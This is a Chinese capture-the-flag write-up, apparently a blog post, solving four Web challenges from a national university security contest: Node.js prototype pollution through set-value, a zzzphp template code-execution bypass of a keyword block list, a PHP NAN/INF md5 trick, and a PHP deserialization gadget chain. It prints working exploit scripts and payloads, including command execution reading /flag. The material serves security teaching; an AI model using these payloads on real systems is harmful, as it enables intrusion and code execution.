第十三届全国大学生信息安全竞赛(线上初赛)Web

littlegame

An evil dragon took the beautiful princess, let’s take this challenge!

题目直接给了源码

const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

只有两个路由有功能,第一个路由DeveloperControlPanel是获得flag,那我们就必须知道process.env的值。
我们跟进第三个路由Privilege,发现有一个setFn(req.session.knight, key, value);,而且后两个参数可控,然后就是google发现了set-value的原型链污染漏洞。


const setFn = require('set-value'); 
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ]; 
function check() { 
for (const p of paths) { 
		setFn({}, p, true); 
			} 
for (let i = 0; i < paths.length; i++) { 
		if (({})[`a${i}`] === true) { 
		console.log(`Yes with ${paths[i]}`); }
			} 
} 

check();

参考链接

最后直接按照POC打可以了~

import requests
import json

s = requests.session()
url_1 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/SpawnPoint"
url_2 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/Privilege"
url_3 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
headers = {"Content-Type":"application/json"}
data_1 = {"NewAttributeKey":"constructor.prototype.a0","NewAttributeValue":"sss"}
data_2 = {"key":"a0","password":"sss"}
req_1 = s.get(url_1)
req_2 = s.post(url_2,headers=headers,data=json.dumps(data_1))
req_3 = s.post(url_3,headers=headers,data=json.dumps(data_2))
print(req_3.text)


rceme

命令执行?

题目直接给了源码,大致看了一下这是根据zzzphp V1.6.1 远程代码执行漏洞改变的,只是在这个基础上加了很多过滤。
zzzphp V1.6.1 远程代码执行漏洞分析参考链接

function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}

这儿注意一点最后一个正则匹配并没有传入参数,所以最后一个过滤相当于没有~

根据上面的参考链接我们知道payload为:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

其中assert($_request[phpinfo()])为我们执行的代码,所以我们只需要将一部分绕过过滤就可以了


方法一
RCTF calc

payload:

phpinfo():

(((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^(((999**999).(1))[2])).((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^((((1).(0.00001))[4])|(((999**999).(1))[2]))).((((1).(0.1))[2])|(((999**999).(1))[1])).((((999**999).(1))[0])^((((1).(0.1))[2])|(((1).(-1))[1]))).((((1).(0.1))[2])|(((1).(0.00001))[4])))()

所以最终的payload为:

?a={if:(((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^(((999**999).(1))[2])).((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^((((1).(0.00001))[4])|(((999**999).(1))[2]))).((((1).(0.1))[2])|(((999**999).(1))[1])).((((999**999).(1))[0])^((((1).(0.1))[2])|(((1).(-1))[1]))).((((1).(0.1))[2])|(((1).(0.00001))[4])))()}phpinfo();{end if}

在这里插入图片描述


方法二

payload:

{if:var_dump(`cat /flag`)}phpinfo();{end if}

由于反引号相当于shell_exec,所以需要我们用var_dump打印出来。



easytrick

 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']); 

trick: 1/0 = INF

payload:

 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __construct(){
        $this->trick1 = NAN;
		$this->trick2 = NAN;
    }
}
echo (serialize(new trick())); 
 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __construct(){
        $this->trick1 = INF;
		$this->trick2 = INF;
    }
}
echo (serialize(new trick())); 

在这里插入图片描述



babyunserialize

find the flag.

WMCTF的webweb改的,有一些链条被删掉了,不过并不影响做题。
payload:

<?php
namespace DB\SQL {
    class Mapper {
        protected $props;
        function __construct($props,$socket)
        {
            $this->props = $props;
			$this->socket= $socket;
        }
    }
}

namespace CLI {
    class Agent{
        protected $server;
        function __construct($events,$server)
        {
			if(!$server)
				$this->server = $this;
			else
				$this->server = $server;
            $this->events= $events;
        }

    }

    class WS{
        protected $events = [];
        function __construct($events)
        {
            $this->events = $events;
        }
    }
}

namespace {
    $a = new DB\SQL\Mapper(array("write"=>"create_function"),"){}phpinfo();//");
	$b = new CLI\Agent('nothing',$a);
    $c = new CLI\Agent(array("disconnect"=>array($b,'send')),0);
    $d = new CLI\WS($c);
    echo urlencode(serialize($d))."\n";
}
?>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值